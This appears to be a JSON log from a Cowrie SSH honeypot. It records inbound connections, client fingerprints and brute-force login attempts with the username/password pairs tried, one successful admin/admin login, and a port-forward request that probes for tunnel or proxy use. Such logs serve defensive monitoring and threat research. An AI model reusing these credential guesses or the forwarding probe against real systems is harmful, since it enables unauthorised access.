{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43234,"dst_ip":"159.203.135.109","dst_port":22,"session":"2da92084363a","protocol":"ssh","message":"New connection: 122.168.114.167:43234 (159.203.135.109:22) [session: 2da92084363a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:32.022016Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":54634,"dst_ip":"10.17.0.5","dst_port":22,"session":"07ef5c182a01","protocol":"ssh","message":"New connection: 106.75.222.164:54634 (10.17.0.5:22) [session: 07ef5c182a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:34.756620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:34.761579Z","src_ip":"106.75.222.164","session":"07ef5c182a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.015013Z","src_ip":"106.75.222.164","session":"07ef5c182a01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62848,"dst_ip":"10.17.0.5","dst_port":22,"session":"619519ff258b","protocol":"ssh","message":"New connection: 87.251.64.176:62848 (10.17.0.5:22) [session: 619519ff258b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.031434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.036459Z","src_ip":"87.251.64.176","session":"619519ff258b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.136720Z","src_ip":"87.251.64.176","session":"619519ff258b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.213318Z","src_ip":"122.168.114.167","session":"2da92084363a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.222285Z","src_ip":"122.168.114.167","session":"2da92084363a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.431670Z","src_ip":"87.251.64.176","session":"619519ff258b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.533021Z","session":"619519ff258b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.631156Z","src_ip":"87.251.64.176","session":"619519ff258b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:35.730379Z","src_ip":"87.251.64.176","session":"619519ff258b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:36.045241Z","src_ip":"106.75.222.164","session":"07ef5c182a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:37.296587Z","src_ip":"106.75.222.164","session":"07ef5c182a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:51.628689Z","src_ip":"122.168.114.167","session":"2da92084363a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.46.81","src_port":39342,"dst_ip":"10.17.0.5","dst_port":22,"session":"69348224a255","protocol":"ssh","message":"New connection: 218.78.46.81:39342 (10.17.0.5:22) [session: 69348224a255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:55.199966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:56.286218Z","src_ip":"218.78.46.81","session":"69348224a255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.6","message":"Connection lost after 24.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:56.622384Z","src_ip":"122.168.114.167","session":"2da92084363a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:57.600405Z","src_ip":"218.78.46.81","session":"69348224a255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":35266,"dst_ip":"159.203.135.109","dst_port":22,"session":"f081e854e6fd","protocol":"ssh","message":"New connection: 103.13.206.208:35266 (159.203.135.109:22) [session: f081e854e6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:05.991939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:05.997475Z","src_ip":"103.13.206.208","session":"f081e854e6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:06.232708Z","src_ip":"103.13.206.208","session":"f081e854e6fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing2026","message":"login attempt [root/Testing2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:07.213526Z","src_ip":"103.13.206.208","session":"f081e854e6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:08.450179Z","src_ip":"103.13.206.208","session":"f081e854e6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45634,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5dcbf3f3750","protocol":"ssh","message":"New connection: 122.168.114.167:45634 (159.203.135.109:22) [session: e5dcbf3f3750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:11.341472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:15.024827Z","src_ip":"122.168.114.167","session":"e5dcbf3f3750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:15.029141Z","src_ip":"122.168.114.167","session":"e5dcbf3f3750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:30.917724Z","src_ip":"122.168.114.167","session":"e5dcbf3f3750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.4","message":"Connection lost after 23.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:34.717693Z","src_ip":"122.168.114.167","session":"e5dcbf3f3750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48046,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd39a7ec9a80","protocol":"ssh","message":"New connection: 122.168.114.167:48046 (159.203.135.109:22) [session: fd39a7ec9a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:51.777499Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":35866,"dst_ip":"10.17.0.5","dst_port":22,"session":"45cac287481c","protocol":"ssh","message":"New connection: 210.114.22.126:35866 (10.17.0.5:22) [session: 45cac287481c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:52.778076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:53.090571Z","src_ip":"210.114.22.126","session":"45cac287481c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:53.296245Z","src_ip":"210.114.22.126","session":"45cac287481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drcomadmin123","message":"login attempt [root/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:55.178569Z","src_ip":"210.114.22.126","session":"45cac287481c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:55.657397Z","src_ip":"122.168.114.167","session":"fd39a7ec9a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:55.661029Z","src_ip":"122.168.114.167","session":"fd39a7ec9a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:56.484794Z","src_ip":"210.114.22.126","session":"45cac287481c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00087213516235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:21:57.117946Z","src_ip":"38.61.210.160","session":"931a475d45da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:11.966532Z","src_ip":"122.168.114.167","session":"fd39a7ec9a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.8","message":"Connection lost after 24.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:16.630081Z","src_ip":"122.168.114.167","session":"fd39a7ec9a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":51750,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a00c2b2bacb","protocol":"ssh","message":"New connection: 103.13.206.208:51750 (159.203.135.109:22) [session: 8a00c2b2bacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:23.883329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:23.889265Z","src_ip":"103.13.206.208","session":"8a00c2b2bacb","protocol":"ssh"}
